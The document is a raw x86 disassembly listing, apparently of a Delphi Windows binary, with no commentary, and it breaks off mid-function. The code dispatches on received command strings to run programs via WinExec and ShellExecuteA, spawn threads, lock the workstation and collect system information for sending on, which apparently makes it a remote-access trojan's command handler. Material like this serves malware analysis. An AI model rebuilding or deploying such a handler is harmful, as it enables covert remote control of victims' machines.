mov ecx, 9
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x42c]
mov edx, 0x47cab0
call fcn.00405974
jne 0x4778ab
lea eax, [ebp - 8]
mov ecx, 9
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.00488e28
lea eax, [ebp - 0x430]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x430]
mov edx, 0x47cac4
call fcn.00405974
jne 0x4778f8
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
push 5
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
call sub.kernel32.dll_WinExec
lea eax, [ebp - 0x434]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x434]
mov edx, 0x47cadc
call fcn.00405974
jne 0x4779dc
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x438]
call fcn.0046baac
mov eax, dword [ebp - 0x438]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00474ec8
pop ecx
lea eax, [ebp - 0x43c]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x43c]
mov edx, 0x47caf0
call fcn.00405974
jne 0x477a32
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x440]
call fcn.00467e4c
mov eax, dword [ebp - 0x440]
mov edx, dword [ebp - 8]
call fcn.004681a4
lea eax, [ebp - 0x444]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x444]
mov edx, 0x47cb08
call fcn.00405974
jne 0x477a88
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x448]
call fcn.00467e4c
mov eax, dword [ebp - 0x448]
mov edx, dword [ebp - 8]
call fcn.004680dc
lea eax, [ebp - 0x44c]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x44c]
mov edx, 0x47cb20
call fcn.00405974
jne 0x477acd
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
mov eax, dword [ebp - 8]
call fcn.0046ba1c
lea eax, [ebp - 0x450]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x450]
mov edx, 0x47cb38
call fcn.00405974
jne 0x477bc7
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [ebp - 0x14]
call fcn.004059dc
mov edx, eax
lea eax, [ebp - 0x454]
call fcn.00405728
mov eax, dword [ebp - 0x454]
push eax
mov eax, dword [ebp - 0x10]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
call fcn.004059dc
pop edx
pop ecx
call fcn.0046bcbc
lea eax, [ebp - 0x458]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x458]
mov edx, 0x47cb50
call fcn.00405974
jne 0x477cab
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x45c]
call fcn.00469bb0
mov eax, dword [ebp - 0x45c]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00474ec8
pop ecx
lea eax, [ebp - 0x460]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x460]
mov edx, 0x47cb68
call fcn.00405974
jne 0x477d95
lea eax, [ebp - 8]
mov ecx, 8
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 0xc]
call fcn.004055c8
lea eax, [ebp - 0x14]
mov ecx, 5
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov ecx, 4
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00405a44
push 0x47cb7c
push dword [ebp - 0x14]
push 0x47cb7c
lea eax, [ebp - 0x464]
mov edx, 3
call fcn.004058e0
mov edx, dword [ebp - 0x464]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
call fcn.0046a37c
mov eax, dword [ebp - 8]
mov edx, 0x47cb88
call fcn.00405974
jne 0x477da9
call fcn.0046a45c
lea eax, [ebp - 0x468]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x468]
mov edx, 0x47cba0
call fcn.00405974
jne 0x477e83
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0xc]
mov edx, 0x47cbb4
mov eax, dword [ebp - 0x14]
call fcn.004821f4
mov eax, dword [ebp - 8]
mov edx, 0x47cbc0
call fcn.00405974
jne 0x477eb5
push 2
lea edx, [ebp - 0x46c]
mov eax, dword [0x45e9dc]
call fcn.0045ea34
mov eax, dword [ebp - 0x46c]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47cbd4
call fcn.00405974
jne 0x477ee7
push 0xa
lea edx, [ebp - 0x470]
mov eax, dword [0x45e9dc]
call fcn.0045ea34
mov eax, dword [ebp - 0x470]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47cbe4
call fcn.00405974
jne 0x477f19
push 0x22
lea edx, [ebp - 0x474]
mov eax, dword [0x45e9dc]
call fcn.0045ea34
mov eax, dword [ebp - 0x474]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47cbf4
call fcn.00405974
jne 0x477f4b
push 1
lea edx, [ebp - 0x478]
mov eax, dword [0x45e9dc]
call fcn.0045ea34
mov eax, dword [ebp - 0x478]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47cc08
call fcn.00405974
jne 0x477f7b
lea edx, [ebp - 0x47c]
mov eax, dword [0x45e9dc]
call fcn.0045ea34
mov eax, dword [ebp - 0x47c]
push eax
mov eax, dword [eax]
call dword [eax + 0x3c]
call fcn.0040711c
mov eax, dword [ebp - 8]
mov edx, 0x47cc1c
call fcn.00405974
jne 0x478185
lea eax, [ebp - 0x480]
call fcn.00405d28
push eax
lea edx, [ebp - 0x484]
mov eax, dword [0x45e9dc]
call fcn.0045ea34
mov eax, dword [ebp - 0x484]
push eax
mov eax, dword [eax]
call dword [eax + 0x90]
call fcn.0040711c
mov edx, dword [ebp - 0x480]
lea eax, [ebp - 0xc]
call fcn.004057d4
lea eax, [ebp - 0x488]
call fcn.00405d28
push eax
lea edx, [ebp - 0x48c]
mov eax, dword [0x45e9dc]
call fcn.0045ea34
mov eax, dword [ebp - 0x48c]
push eax
mov eax, dword [eax]
call dword [eax + 0x24]
call fcn.0040711c
mov edx, dword [ebp - 0x488]
lea eax, [ebp - 0x10]
call fcn.004057d4
call fcn.0046a544
cmp al, 1
jne 0x47804b
lea eax, [ebp - 0x490]
call fcn.00405d28
push eax
lea edx, [ebp - 0x494]
mov eax, dword [0x45e9dc]
call fcn.0045ea34
mov eax, dword [ebp - 0x494]
push eax
mov eax, dword [eax]
call dword [eax + 0x6c]
call fcn.0040711c
mov edx, dword [ebp - 0x490]
lea eax, [ebp - 0x14]
call fcn.004057d4
call fcn.0046a544
cmp al, 1
jne 0x47808f
lea eax, [ebp - 0x498]
call fcn.00405d28
push eax
lea edx, [ebp - 0x49c]
mov eax, dword [0x45e9dc]
call fcn.0045ea34
mov eax, dword [ebp - 0x49c]
push eax
mov eax, dword [eax]
call dword [eax + 0x70]
call fcn.0040711c
mov edx, dword [ebp - 0x498]
lea eax, [ebp - 0x18]
call fcn.004057d4
lea eax, [ebp - 0x4a0]
call fcn.00405d28
push eax
lea edx, [ebp - 0x4a4]
mov eax, dword [0x45e9dc]
call fcn.0045ea34
mov eax, dword [ebp - 0x4a4]
push eax
mov eax, dword [eax]
call dword [eax + 0x80]
call fcn.0040711c
mov edx, dword [ebp - 0x4a0]
lea eax, [ebp - 0x1c]
call fcn.004057d4
cmp dword [ebp - 0xc], 0
jne 0x4780e0
lea eax, [ebp - 0xc]
mov edx, 0x47cc30
call fcn.004055c8
cmp dword [ebp - 0x10], 0
jne 0x4780f3
lea eax, [ebp - 0x10]
mov edx, 0x47cc30
call fcn.004055c8
cmp dword [ebp - 0x14], 0
jne 0x478106
lea eax, [ebp - 0x14]
mov edx, 0x47cc30
call fcn.004055c8
cmp dword [ebp - 0x18], 0
jne 0x478119
lea eax, [ebp - 0x18]
mov edx, 0x47cc30
call fcn.004055c8
cmp dword [ebp - 0x1c], 0
jne 0x47812c
lea eax, [ebp - 0x1c]
mov edx, 0x47cc30
call fcn.004055c8
push 0x47cc3c
push dword [ebp - 0xc]
push 0x47c330
push dword [ebp - 0x10]
push 0x47c330
push dword [ebp - 0x14]
push 0x47c330
push dword [ebp - 0x18]
push 0x47c330
push dword [ebp - 0x1c]
push 0x47c330
lea eax, [ebp - 0x4ac]
call fcn.0046a5e4
push dword [ebp - 0x4ac]
lea eax, [ebp - 0x4a8]
mov edx, 0xc
call fcn.004058e0
mov eax, dword [ebp - 0x4a8]
call fcn.00474d1c
lea eax, [ebp - 0x4b0]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4b0]
mov edx, 0x47cc4c
call fcn.00405974
jne 0x478269
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea eax, [ebp - 0x4b4]
call fcn.0046a868
mov eax, dword [ebp - 0x4b4]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00474ec8
pop ecx
lea eax, [ebp - 0x4b8]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4b8]
mov edx, 0x47cc60
call fcn.00405974
jne 0x4782b7
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
call fcn.0046a544
cmp al, 1
jne 0x4782b7
mov eax, dword [ebp - 8]
call fcn.0046abf0
lea eax, [ebp - 0x4bc]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4bc]
mov edx, 0x47cc74
call fcn.00405974
jne 0x478305
lea eax, [ebp - 8]
mov ecx, 0xa
mov edx, 1
call fcn.00405a84
call fcn.0046a544
cmp al, 1
jne 0x478305
mov eax, dword [ebp - 8]
call fcn.0046a7e8
lea eax, [ebp - 0x4c0]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4c0]
mov edx, 0x47cc88
call fcn.00405974
jne 0x478353
lea eax, [ebp - 8]
mov ecx, 0xc
mov edx, 1
call fcn.00405a84
call fcn.0046a544
cmp al, 1
jne 0x478353
mov eax, dword [ebp - 8]
call fcn.0046ad3c
lea eax, [ebp - 0x4c4]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4c4]
mov edx, 0x47cca0
call fcn.00405974
jne 0x4783a1
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
call fcn.0046a544
cmp al, 1
jne 0x4783a1
mov eax, dword [ebp - 8]
call fcn.0046ae88
lea eax, [ebp - 0x4c8]
push eax
mov ecx, 0x15
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4c8]
mov edx, 0x47ccb8
call fcn.00405974
jne 0x478435
lea eax, [ebp - 8]
mov ecx, 0x15
mov edx, 1
call fcn.00405a84
mov eax, dword [0x49253c]
mov dword [eax], 1
mov eax, dword [0x492624]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
mov eax, dword [0x492660]
mov edx, dword [ebp - 8]
call fcn.00405584
mov eax, dword [ebp - 8]
mov edx, 0x47ccd8
call fcn.00405974
jne 0x47844d
mov eax, dword [0x49253c]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0x4cc]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4cc]
mov edx, 0x47ccf8
call fcn.00405974
jne 0x47852e
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
mov eax, dword [0x4923ac]
cmp dword [eax], 1
jne 0x4784a2
mov eax, 0x47cd10
call fcn.00474d1c
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.004055c8
push ebp
lea edx, [ebp - 0x4d4]
mov eax, 0x1a
call fcn.00489414
lea eax, [ebp - 0x4d4]
mov edx, 0x47cd24
call fcn.00405818
mov eax, dword [ebp - 0x4d4]
lea edx, [ebp - 0x4d0]
call fcn.0047ff14
mov eax, dword [ebp - 0x4d0]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00474ec8
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47cd34
call fcn.00405974
jne 0x478568
mov eax, dword [0x4923ac]
cmp dword [eax], 1
je 0x478568
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x4810a8
push 0
push 0
call sub.kernel32.dll_CreateThread_1
mov eax, dword [0x4923ac]
mov dword [eax], 1
mov eax, dword [ebp - 8]
mov edx, 0x47cd54
call fcn.00405974
jne 0x478580
mov eax, dword [0x4923ac]
xor edx, edx
mov dword [eax], edx
mov eax, dword [ebp - 8]
mov edx, 0x47cd78
call fcn.00405974
jne 0x47859a
mov eax, dword [0x49253c]
mov dword [eax], 1
mov eax, dword [ebp - 8]
mov edx, 0x47cd98
call fcn.00405974
jne 0x4785b2
mov eax, dword [0x49253c]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0x4d8]
push eax
mov ecx, 0xe
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4d8]
mov edx, 0x47cdbc
call fcn.00405974
jne 0x478714
lea eax, [ebp - 8]
mov ecx, 0xe
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea edx, [ebp - 0x4e0]
mov eax, 0x1a
call fcn.00489414
push dword [ebp - 0x4e0]
push 0x47cd24
push dword [ebp - 0xc]
lea eax, [ebp - 0x4dc]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x4dc]
call fcn.0040a25c
test al, al
jne 0x4786c2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47c19b
push ebp
lea edx, [ebp - 0x4ec]
mov eax, 0x1a
call fcn.00489414
push dword [ebp - 0x4ec]
push 0x47cd24
push dword [ebp - 0xc]
lea eax, [ebp - 0x4e8]
mov edx, 3
call fcn.004058e0
mov eax, dword [ebp - 0x4e8]
lea edx, [ebp - 0x4e4]
call fcn.004890f8
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
call fcn.00474ec8
pop ecx
mov eax, dword [ebp - 8]
mov edx, 0x47cdd4
call fcn.00405974
jne 0x47872d
mov eax, 0x11
call fcn.004886b8
mov eax, dword [ebp - 8]
mov edx, 0x47cde8
call fcn.00405974
jne 0x478746
mov eax, 0x12
call fcn.004886b8
mov eax, dword [ebp - 8]
mov edx, 0x47cdfc
call fcn.00405974
jne 0x47875f
mov eax, 0x10
call fcn.004886b8
mov eax, dword [ebp - 8]
mov edx, 0x47ce10
call fcn.00405974
jne 0x478778
mov eax, 0x18
call fcn.004886b8
mov eax, dword [ebp - 8]
mov edx, 0x47ce24
call fcn.00405974
jne 0x47879a
push 0
push 0xf140
push 0x112
push 0
call sub.user32.dll_SendMessageA
mov eax, dword [ebp - 8]
mov edx, 0x47ce38
call fcn.00405974
jne 0x4787ae
call sub.user32.dll_LockWorkStation
lea eax, [ebp - 0x4f0]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x4f0]
mov edx, 0x47ce4c
call fcn.00405974
jne 0x478a9f
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x10]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov edx, dword [ebp - 8]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
lea eax, [ebp - 8]
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.004055c8
lea eax, [ebp - 0x4f4]
mov edx, dword [0x4925e8]
mov edx, dword [edx]
call fcn.00405728
push dword [ebp - 0x4f4]
push 0x47c750
lea edx, [ebp - 0x4f8]
mov eax, dword [0x49248c]
movzx eax, word [eax]
call fcn.00409d60
push dword [ebp - 0x4f8]
push 0x47c750
lea eax, [ebp - 0x4fc]
call fcn.0048bcec
push dword [ebp - 0x4fc]
push 0x47c750
lea eax, [ebp - 0x500]
call fcn.0048b4f8
push dword [ebp - 0x500]
push 0x47c60c
lea eax, [ebp - 0x504]
call fcn.0048b4bc
push dword [ebp - 0x504]
push 0x47c750
lea eax, [ebp - 0x508]
call fcn.0048ba0c
push dword [ebp - 0x508]
push 0x47c750
lea eax, [ebp - 0x50c]
call fcn.00467758
push dword [ebp - 0x50c]
push 0x47c750
push 0x47ce60
push 0x47c750
lea eax, [ebp - 0x510]
call fcn.0048b580
push dword [ebp - 0x510]
push 0x47c750
lea eax, [ebp - 0x514]
call fcn.0048b83c
push dword [ebp - 0x514]
push 0x47c750
lea eax, [ebp - 0x518]
call fcn.0048b890
push dword [ebp - 0x518]
push 0x47c750
lea eax, [ebp - 0x51c]
call fcn.0048b8e0
push dword [ebp - 0x51c]
push 0x47c750
lea eax, [ebp - 0x520]
call fcn.0048b944
push dword [ebp - 0x520]
push 0x47c750
lea eax, [ebp - 0x524]
call fcn.0048bd1c
push dword [ebp - 0x524]
push 0x47c750
lea eax, [ebp - 0x528]
call fcn.0048bd4c
push dword [ebp - 0x528]
push 0x47c750
lea eax, [ebp - 0x52c]
call fcn.0048bff8
push dword [ebp - 0x52c]
push 0x47c750
lea eax, [ebp - 0x534]
call fcn.00467e4c
mov eax, dword [ebp - 0x534]
lea edx, [ebp - 0x530]
call fcn.0048c090
push dword [ebp - 0x530]
push 0x47c750
lea edx, [ebp - 0x538]
xor eax, eax
call fcn.0040f224
push dword [ebp - 0x538]
push 0x47c750
mov eax, dword [0x4927f0]
push dword [eax]
push 0x47c750
mov eax, dword [0x4923c8]
push dword [eax]
push 0x47c750
lea edx, [ebp - 0x540]
mov eax, 0x47ce6c
call fcn.0046d960
mov eax, dword [ebp - 0x540]
lea edx, [ebp - 0x53c]
call fcn.0048a224
push dword [ebp - 0x53c]
push 0x47c750
lea eax, [ebp - 0x544]
call fcn.0048a2b4
push dword [ebp - 0x544]
push 0x47c750
lea eax, [ebp - 0x548]
call fcn.0048b20c
push dword [ebp - 0x548]
lea eax, [ebp - 0xc]
mov edx, 0x2d
call fcn.004058e0
push ebp
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
call fcn.00474ec8
pop ecx
lea eax, [ebp - 0x54c]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x54c]
mov edx, 0x47ce80
call fcn.00405974
jne 0x478b74
lea eax, [ebp - 8]
mov ecx, 0xd
mov edx, 1
call fcn.00405a84
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.004055c8
mov eax, dword [0x4923b8]
cmp dword [eax], 0
je 0x478b12
mov eax, dword [0x4923b8]
mov eax, dword [eax]
call fcn.004845fc
test al, al
je 0x478b12
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x47c19b
mov cl, 1
mov dl, 1
mov eax, dword [0x484068]
call fcn.0041f9b4
mov edx, dword [0x4923b8]
mov dword [edx], eax
mov eax, dword [0x4923b8]
mov eax, dword [eax]
mov byte [eax + 0xf], 1
mov eax, dword [0x4923b8]
mov eax, dword [eax]
mov dl, 5
call fcn.0041fbc0
mov eax, dword [ebp - 0xc]
call fcn.00409ecc
mov edx, eax
mov eax, dword [0x4923b8]
mov eax, dword [eax]
call fcn.004845ac
mov eax, dword [0x4923b8]
mov eax, dword [eax]
mov edx, 0x47c534
call fcn.004845b0
mov eax, dword [0x4923b8]
mov eax, dword [eax]
call fcn.0041fe70
lea eax, [ebp - 0x550]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x550]
mov edx, 0x47ce98
call fcn.00405974
jne 0x478bcc
lea eax, [ebp - 8]
mov ecx, 0xb
mov edx, 1
call fcn.00405a84
push 5
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x47c418
push 0
call sub.shell32.dll_ShellExecuteA
lea eax, [ebp - 0x554]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.00405a44
mov eax, dword [ebp - 0x554]
mov edx, 0x47ceac
call fcn.00405974
jne 0x478db1
lea eax, [ebp - 8]
mov ecx, 0x11
mov edx, 1
call fcn.00405a84
mov dl, 1
mov eax, dword [0x417824]
call fcn.00404620
mov dword [ebp - 0x1a8], eax
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
xor eax, eax
push ebp
push 0x478daa
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x1a8]
mov edx, dword [eax]
call dword [edx + 0x14]
mov ebx, eax
dec ebx
test ebx, ebx
jl 0x478d91
inc ebx
xor esi, esi
lea ecx, [ebp - 0x1c]
mov edx, esi
mov eax, dword [ebp - 0x1a8]
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0xc]
push eax
mov edx, dword [ebp - 0x1c]
mov eax, 0x47c330
call fcn.00405b28
mov ecx, eax
dec ecx
mov edx, 1
